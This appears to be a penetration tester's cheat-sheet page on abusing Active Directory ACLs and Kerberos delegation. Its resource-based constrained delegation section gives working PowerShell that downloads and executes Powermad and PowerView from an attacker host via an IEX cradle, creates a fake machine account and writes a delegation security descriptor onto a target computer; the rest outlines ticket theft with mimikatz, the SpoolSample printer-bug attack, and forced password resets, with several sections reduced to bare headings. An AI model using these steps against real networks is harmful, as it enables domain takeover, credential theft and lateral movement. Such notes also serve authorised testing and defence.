Abusing ACLs

Generic Write - Computer

Kerberos Resource-based Constrained Delegation: Computer Object Takeover

Download powermad to create computer object

PS C:\Users> IEX(new-object net.webclient).downloadstring('http://192.168.X.Y/Powermad.ps1')
PS C:\Users> New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'h4x' -AsPlainText -Force)

Create a new raw security descriptor

PS C:\Users> IEX(new-object net.webclient).downloadstring('http://192.168.X.Y/PowerView.ps1')
PS C:\Users> $sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
PS C:\Users> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
PS C:\Users> $SDbytes = New-Object byte[] ($SD.BinaryLength)
PS C:\Users> $SD.GetBinaryForm($SDbytes,0)

Applying the security descriptor bytes to the target

PS C:\Users> Get-DomainComputer -Identity <GENERIC WRITE COMPUTER> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
PS C:\Users> $RBCDbytes = Get-DomainComputer <GENERIC WRITE COMPUTER> -Properties 'msds-allowedtoactonbehalfofotheridentity'| select -expand msds-allowedtoactonbehalfofotheridentity
PS C:\Users> $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0

Confirm Security descriptor is the same as the fake machine created

PS C:\Users> $Descriptor.DiscretionaryAcl
PS C:\Users> convertfrom-sid <SID from Descriptor>

Generate RC4 Hash

Impersonation

Confirm access to target computer

Lateral Movement

Unconstrained Delegation

  • forwardable tgt

  • if used and compromise web service can steal all users tgts

Enumeration

  • trusted for delegation

  • must compromise computer in question

  • or compromise application on machine

  • once compromised load up mimikatz

  • copy the admin or user b64 .kirby ticket to a file

  • remove new lines and spaces from the copy

  • Dont use kiwi_cmd to load... normal meterpreter will work (kiwi failed on me)

  • Now you can access resources that the user has access to

Constrained Delegation

Hunting for user accounts that have kerberos constrained delegation enabled:

Monitor for TGTs from the Domain Controller

confirm printer spools is accessible

using a second command prompt we’ll use https://github.com/leechristensen/SpoolSample

Request TGS for impersonated user

Confirm ticket is load

confirm access to dc

GenericAll User

Check to see AD Rights for Generic ALl

With all writes, you can change the password of the targeted user

GenericAll Group

Check for groups with permissions to

If one of them has GenericAll in ActiveDirectoryRights, you can add a user to it

ForceChangePassword

If we have ExtendedRight on User-Force-Change-Password object type, we can reset the user's password without knowing their current password:

Last updated

Was this helpful?